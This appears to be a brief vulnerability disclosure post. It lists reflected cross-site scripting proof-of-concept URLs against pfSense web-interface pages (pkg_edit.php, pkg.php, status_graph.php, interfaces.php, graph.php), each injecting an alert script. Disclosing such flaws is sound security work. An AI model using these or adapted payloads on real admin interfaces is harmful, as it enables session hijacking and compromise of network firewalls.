"Those who cannot learn from history are doomed to repeat it." -
George Santayana

http://cvstrac.pfsense.org/chngview?cn=20994
"Comment:  Make scripts XSS input safe. "
Date:   2008-Feb-11 23:33:24 (local)  2008-Feb-12 04:33:24 (UTC)

So in 2010, pfsense 2 beta 4:

...
xss -> pkg_edit.php
https://10.0.20.220/pkg_edit.php?xml=olsrd.xml&id=%22/%3E%3Cscript%3Ealert%282%29;%3C/script%3E

xss ->  pkg.php
https://10.0.20.220/pkg.php?xml=jailctl.xm%27l%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
...

-----------
in pfsense 2 beta 4:
xss  -> status_graph.php

https://10.0.20.220/status_graph.php?if=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E

xss -> interfaces.php
https://10.0.20.220/interfaces.php?if=wan%22%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
-------------

And  in  pfsense (stable and 2 beta 4):
http://10.0.20.222/graph.php?ifnum=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E&ifname=
or http://10.0.20.222/graph.php?ifnum=&ifname=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E

--
question = ( to ) ? be : ! be;    -- Wm. Shakespeare